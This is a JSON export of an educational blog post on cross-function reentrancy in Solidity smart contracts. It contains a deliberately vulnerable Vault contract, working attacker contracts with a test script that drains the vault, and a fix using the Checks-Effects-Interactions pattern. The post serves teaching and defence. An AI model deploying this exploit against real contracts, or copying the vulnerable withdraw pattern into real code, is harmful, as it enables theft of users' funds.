{"id":749,"date":"2024-07-04T11:51:07","date_gmt":"2024-07-04T09:51:07","guid":{"rendered":"https:\/\/ackee.xyz\/blog\/?p=749"},"modified":"2024-07-09T10:52:57","modified_gmt":"2024-07-09T08:52:57","slug":"cross-function-reentrancy-attack","status":"publish","type":"post","link":"https:\/\/ackee.xyz\/blog\/cross-function-reentrancy-attack\/","title":{"rendered":"Cross Function Reentrancy Attack"},"content":{"rendered":"<h2>What is a cross function reentrancy attack?<\/h2>\n<p>Cross-function reentrancy attacks use multiple functions to execute the attack, which can occur when inappropriate mitigations of a <a href=\"https:\/\/ackee.xyz\/blog\/single-function-reentrancy-attack\/\" target=\"_blank\" rel=\"noopener\">single function reentancy attack<\/a> are taken. Cross-function reentrancy attacks are more complicated to find vulnerabilities in than single-function reentrancy attacks since they use a combination of functions.<\/p>\n<p>This article reviews how cross-function reentrancy attacks work, an attack example, and how cross-function reentrancy attacks can be prevented.<\/p>\n<h2>Example of a cross-function reentrancy vulnerability<\/h2>\n<p><span style=\"font-weight: 400;\">This smart contract adds the <code class=\"codehl\">transfer<\/code> function for transferring the user&#8217;s value to another user without using ETH.<\/span><\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol&quot;;\n\ncontract Vault is ReentrancyGuard {\n    mapping (address =&gt; uint) private balances;\n\n    function deposit() external payable nonReentrant {\n        balances[msg.sender] += msg.value;\n    }\n\n    function transfer(address to, uint amount) public {\n        if (balances[msg.sender] &gt;= amount) {\n            balances[to] += amount;\n            balances[msg.sender] -= amount;\n        }\n    }\n\n    function withdraw() public nonReentrant { \/\/ we can use noReentrant here.\n        uint amount = balances[msg.sender];\n        msg.sender.call{value: amount}(&quot;&quot;);\n        balances[msg.sender] = 0; \/\/ did not checked balance. just overwrite to 0.\n    }\n}<\/code><\/pre>\n<p><span style=\"font-weight: 400;\">This is very similar to single function reentrancy but we set Reentrancy Guard for <code class=\"codehl\">withdraw<\/code> and deposit function so the same attack can not be done on this code. but the transfer function does not have <code class=\"codehl\">nonReentrant<\/code>.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The problem is that state changes are not completed before the transfer function becomes callable by the user. For instance, when a user calls the <code class=\"codehl\">withdraw<\/code> function, it makes an external call and receives ETH. The balance is then transferred to another address. However, after the external call, the balance is simply set to zero. As a result, the total balance of ETH across both accounts effectively doubles for the same user.<\/span><\/p>\n<h2><strong>Cross function reentrancy attack steps<\/strong><\/h2>\n<p><span style=\"font-weight: 400;\">After calling the <code class=\"codehl\">attack<\/code> function,<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call the <code class=\"codehl\">deposit<\/code> to increase the balance for preparation for the attack.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call the <code class=\"codehl\">withdraw<\/code> function and it makes an external call to the <code class=\"codehl\">Attacker<\/code>, and it is called the <code class=\"codehl\">receive<\/code> function and it transfers the attacker&#8217;s deposited amount to <code class=\"codehl\">Attacker2<\/code>.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">So now the sum of the amount that Attacker and Attacker2 is multiple.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call the <code class=\"codehl\">transfer<\/code> and transfer the balance from <code class=\"codehl\">Attacker2<\/code> to <code class=\"codehl\">Attacker<\/code> now the value of the balance is the same as at step <code>1.<\/code> but <code class=\"codehl\">Attacker2<\/code> received ETH in the previous steps.<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">We repeat those operations.<\/span><\/p>\n<p><strong><span style=\"font-weight: 400;\">These are attacker contracts.<\/span><\/strong><\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\nimport &quot;.\/vault.sol&quot;;\n\ncontract Attacker {\n    Vault victim;\n    uint256 amount = 1 ether;\n\n    Attacker2 public attacker2;\n\n    constructor(Vault _victim) payable {\n        victim = Vault(_victim);\n    }\n\n    function setattacker2(address _attacker2) public {\n        attacker2 = Attacker2(_attacker2);\n    }\n\n    function attack() public payable {\n        uint256 value =  address(this).balance;\n        victim.deposit{value: value}();\n        while(address(victim).balance &gt;= amount) {\n            victim.withdraw();\n            attacker2.send( value , address(this));\n        }\n    }\n\n\n    \/**\n     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. \n     * Because burn balance of attacker1 after this function.\n     * @dev triggered by victim.withdraw()\n     *\/\n    receive() external payable {\n        victim.transfer(address(attacker2), msg.value);\n    }\n}\n\ncontract Attacker2 {\n\n    uint256 amount = 1 ether;\n    Vault victim;\n\n    constructor(Vault _victim) {\n        victim = Vault(_victim);\n    }\n\n    function send(uint256 value, address attacker) public {\n        victim.transfer(attacker, value);\n    }\n\n}<\/code><\/pre>\n<p><span style=\"font-weight: 400;\">This is the exploit.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><code class=\"codehl\">Attacker<\/code> needs to know <code class=\"codehl\">Attacker2<\/code> to send. <code class=\"codehl\">Attacker2<\/code> can be EOA, we used a simple contract that is just able to send but for the indication.<\/span><\/p>\n<pre><code class=\"language-solidity\">from wake.testing import *\n\nfrom pytypes.contracts.crossfunctionreentrancy.vault import Vault\nfrom pytypes.contracts.crossfunctionreentrancy.attacker import Attacker\nfrom pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2\n\n@default_chain.connect()\ndef test_default():\n    print(&quot;---------------------Cross Function Reentrancy---------------------&quot;)\n    victim = default_chain.accounts[0]\n    attacker = default_chain.accounts[1]\n    \n    vault_contract = Vault.deploy(from_=victim)\n    vault_contract.deposit(from_=victim, value=&quot;10 ether&quot;)\n \n    \n    attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value=&quot;1 ether&quot;)\n    attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)\n\n    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)\n    print(&quot;Vault balance   : &quot;, vault_contract.balance)\n    print(&quot;Attacker balance: &quot;, attacker_contract.balance)\n\n    print(&quot;----------Attack----------&quot;)\n    attacker_contract.attack(from_=attacker)\n\n    print(&quot;Vault balance   : &quot;, vault_contract.balance)\n    print(&quot;Attacker balance: &quot;, attacker_contract.balance)<\/code><\/pre>\n<p><span style=\"font-weight: 400;\">This is the output of <a href=\"http:\/\/getewake\">Wake<\/a>. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">We can see the Vault balance changed from 5 EHT to 0 ETH. Attacker balance changed 1 ETH to 6 ETH.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-750\" src=\"https:\/\/abchprod.wpengine.com\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06.png\" alt=\"\" width=\"1132\" height=\"852\" srcset=\"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06.png 1132w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06-300x226.png 300w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06-1024x771.png 1024w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06-768x578.png 768w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06-370x278.png 370w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06-760x572.png 760w\" sizes=\"auto, (max-width: 1132px) 100vw, 1132px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">This is cross-function reentrancy.<\/span><\/p>\n<h2><b>Preventing a cross function reentrancy attack<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">There are ways to prevent this attack.<\/span><\/p>\n<h3><b>CEI (Checks-Effects-Interactions)<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Similarly to the single function reentrant example, the most simple prevention is not executing an untrusted call in the middle of state changes.<\/span><\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ncontract Vault {\n    mapping (address =&gt; uint) private balances;\n\n    function deposit() external payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    function transfer(address to, uint amount) public {\n        if (balances[msg.sender] &gt;= amount) {\n            balances[to] += amount;\n            balances[msg.sender] -= amount;\n        }\n    }\n\n    function withdraw() public {\n        uint amount = balances[msg.sender];\n        balances[msg.sender] = 0; \/\/ change balance\n        msg.sender.call{value: amount}(&quot;&quot;); \/\/ external call\n    }\n}<\/code><\/pre>\n<p><span style=\"font-weight: 400;\"><br \/>\nWhile there can be other ways how to prevent it for example Reentrancy-Guard this could still open the vulnerability of other types of reentrancy, so it is best to apply the CEI pattern.<br \/>\n<\/span><\/p>\n<h2><b>Conclusion<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">The main issue and cause of the reentrancy attack is the value is modifiable even if it is in the middle of the process of some function and the value is different from what it should be. We can fix it in several ways but even if we could prevent those reentrancy attacks, another type of reentrancy attack can be used and exploitable. We are going to explain those attacks in future blogs.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><br \/>\nWe have a <a title=\"Reentrancy Examples Github Repository\" href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\" target=\"_blank\" rel=\"noopener\">Reentrancy Examples Github Repository<\/a> where several other types of reentrancy attacks are listed with protocol-specific reentrancy exploit and prevention examples, including guiding blog articles.\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What is a cross function reentrancy attack? Cross-function reentrancy attacks use multiple functions to execute the attack, which can occur when inappropriate mitigations of a single function reentancy attack are taken. Cross-function reentrancy attacks are more complicated to find vulnerabilities in than single-function reentrancy attacks since they use a combination of functions. This article reviews how cross-function reentrancy attacks work, an attack&hellip;<\/p>\n","protected":false},"author":24,"featured_media":846,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[61,10,84,63,103],"tags":[14,86,138],"class_list":["post-749","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-education","category-ethereum","category-hacks","category-tutorial","category-wake","tag-exploit","tag-hack","tag-reentrancy-attack"],"aioseo_notices":[],"featured_image_src":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/07\/Cross-Function-Reentrancy-Attack-600x400.png","featured_image_src_square":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/07\/Cross-Function-Reentrancy-Attack-600x600.png","author_info":{"display_name":"Naoki Yoshida","author_link":"https:\/\/ackee.xyz\/blog\/author\/naoki-yoshida\/"},"_links":{"self":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/749","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/comments?post=749"}],"version-history":[{"count":0,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/749\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media\/846"}],"wp:attachment":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media?parent=749"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/categories?post=749"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/tags?post=749"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}